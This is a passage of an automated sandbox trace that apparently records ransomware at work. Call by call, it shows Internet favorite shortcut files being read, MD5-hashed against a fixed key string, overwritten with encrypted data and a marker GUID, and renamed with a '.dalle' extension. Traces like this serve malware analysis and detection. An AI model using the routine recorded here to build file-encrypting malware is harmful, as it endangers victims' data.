pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.308] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.308] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.308] GetLastError () returned 0x0 [0121.308] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.308] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.308] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.308] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.308] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.308] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.308] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.308] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.308] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.308] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.308] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.309] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.309] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.309] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.309] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.309] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.309] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.309] CloseHandle (hObject=0x618) returned 1 [0121.310] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.310] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8c0) returned 0x3096780 [0121.310] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.dalle")) returned 1 [0121.310] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.310] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.311] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.311] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0121.311] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.311] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.311] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0121.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.312] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.313] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.313] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.314] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.314] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.314] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.314] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.314] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.314] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.315] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.315] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.315] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.315] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.315] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.315] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.315] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.315] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.315] GetLastError () returned 0x0 [0121.316] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.316] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.316] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.316] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.316] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.316] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.316] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.316] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.316] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.316] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.316] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.316] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.316] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.316] CloseHandle (hObject=0x618) returned 1 [0121.317] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.317] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.317] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.317] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.dalle")) returned 1 [0121.318] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.318] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.319] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.319] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0121.319] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.319] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.319] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0121.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.319] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.319] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.321] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.321] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.322] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.322] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.322] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.322] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.322] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.322] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.322] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.322] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.322] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.323] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.323] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.323] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.323] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.323] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.323] GetLastError () returned 0x0 [0121.323] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.323] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.323] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.323] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.323] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.323] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.323] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.323] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.323] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.323] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.323] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.323] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.324] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.324] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.324] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.324] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.324] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.324] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.324] CloseHandle (hObject=0x618) returned 1 [0121.324] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.324] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.324] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.dalle")) returned 1 [0121.325] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.325] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.326] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.326] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0121.326] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.326] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.326] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0121.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.327] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=134) returned 1 [0121.328] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.329] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.329] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.330] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.330] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.330] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.330] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x86, lpOverlapped=0x0) returned 1 [0121.330] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.330] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.330] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.330] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.330] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.331] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.331] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.331] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.331] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.331] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.331] GetLastError () returned 0x0 [0121.331] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.331] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.331] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.331] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.332] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.332] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.332] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x81, lpOverlapped=0x0) returned 1 [0121.332] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.332] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.332] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.332] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.332] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.333] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | 